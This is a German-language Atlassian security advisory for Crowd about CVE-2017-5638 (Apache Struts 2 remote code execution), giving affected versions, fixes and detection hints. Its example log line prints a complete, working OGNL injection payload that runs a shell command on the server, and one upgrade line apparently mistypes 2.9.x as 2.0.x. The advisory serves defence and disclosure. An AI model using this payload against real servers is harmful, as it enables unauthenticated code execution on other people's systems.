Crowd - CVE-2017-5638

Zusammenfassung der Schwachstelle

Diese Empfehlung gibt eine kritische Sicherheitslücke bekannt, die mit der Crowd-Version 2.8.3 eingeführt wurde. Crowd-Versionen von 2.8.3 bis unter 2.9.7 (die gefixte Version für 2.9.x), von 2.10.1 bis unter 2.10.3 (die gefixte Version für 2.10.x) und von 2.11.0 bis unter 2.11.1 (die gefixte Version für 2.11.x) sind von dieser Sicherheitslücke betroffen.

Code-Ausführung über Apache Struts 2 aus der Ferne (CVE-2017-5638)

Schweregrad

Atlassian stuft den Schweregrad dieser Schwachstelle, gemäß Atlassians Schweregraden, als kritisch ein. Die Skala erlaubt Atlassian die Schweregrade als kritisch, hoch, moderat oder niedrig.

Dies ein eine unabhängige Bewertung. Sie sollten dessen Anwendbarkeit auf Ihre eigene IT-Umgebung überprüfen.

Beschreibung

Crowd verwendet eine Version von Apache Struts 2, die nach CVE-2017-5638 verwundbar war. Angreifer können diese Schwachstelle dazu verwenden ihren Java-Code ohne Authentifizierung auf Systemen auszuführen, die eine der Crowd-Versionen verwenden, die diese Sicherheitslücke hat.

Alle Crowd-Versionen von 2.8.3 bis unter 2.9.7 (die gefixte Version für 2.9.x), von 2.10.1 bis unter 2.10.3 (die gefixte Version für 2.10.x) und von 2.11.0 bis unter 2.11.1 (die gefixte Version für 2.11.x) sind von dieser Schwachstelle betroffen. Sie können den Vorgang hier weiterverfolgen: CWD-4879 - Apache Struts 2 Remote Code Execution (CVE-2017-5638) CLOSED.

Behebung

Um dieses Problem zu beseitigen, hat Atlassian die folgenden Versionen veröffentlicht, die einen Fix beinhalten:

• Crowd-Version 2.9.7
• Crowd-Version 2.10.3
• Crowd-Version 2.11.1

Was Sie tun müssen

Aktualisieren Sie Crowd auf die Version 2.11.1 oder höher

Die Schwachstellen und die Fix-Versionen sind oben beschrieben. Wenn Ihre Version betroffen ist, sollten Sie umgehend auf die neueste Version upgraden.

Wenn Sie Crowd 2.10.x verwenden und nicht auf 2.11.1 upgraden können, aktualisieren Sie auf die Version 2.10.3.

Wenn Sie Crowd 2.0.x verwenden und nicht auf 2.11.1 upgraden können, aktualisieren Sie auf die Version 2.9.7.

Lesen Sie für die vollständige Beschreibung der neuesten Crowd-Version die Release Notes. Sie können die neueste Crowd-Version aus dem Download Center herunterladen.

Entdeckung

Angesichts der Tatsache, dass Atlassian die Schwachstelle bestätigte, empfehlen wir Kunden nach Anzeichen zu suchen, selbst wenn sie umgehend eine Aktualisierung durchgeführt haben. Das Ausmachen solcher Angriffe ist Umgebungs-spezifisch, jedoch finden sich unten trotzdem einige Indikatoren, die Sie nützlich finden könnten.

Derselbe Ausdruck kann über alle Log-Typen hinweg verwendet werden. Er ist besonders hilfreich, wenn Sie einen SIEM oder Log-Aggregator für die Analyse aller Logs zur gleichen Zeit verwenden:

grep -E 'InvalidContentTypeException.+multipart\/form\-data' *.log

Wenn ein Code aus der Ferne ausgeführt werden würde, würden Sie einen OGNL-Ausdruck sehen, der auf dem Server ausgewertet wird. Diese Befehle beginnen typischerweise mit "#cmd=" oder "#cmds=", so wie hier:

(#cmd='ls')
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))

Crowd protokolliert all seine Applikations-Events in der "atlassian-crowd.log" Datei. Der Standardpfad ist: "<CROWD_HOME>/logs/atlassian-crowd.log.

017-03-10 10:27:29,340 http-bio-8095-exec-22 WARN [struts2.dispatcher.multipart.JakartaMultiPartRequest] Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#
_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='touch /tmp/pwned').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
...

Support

Wenn Sie Bedenken oder Fragen bezüglich dieser Empfehlung haben, reichen Sie bitte eine Support-Anfrage unter https://support.atlassian.com/ ein.

Referenzen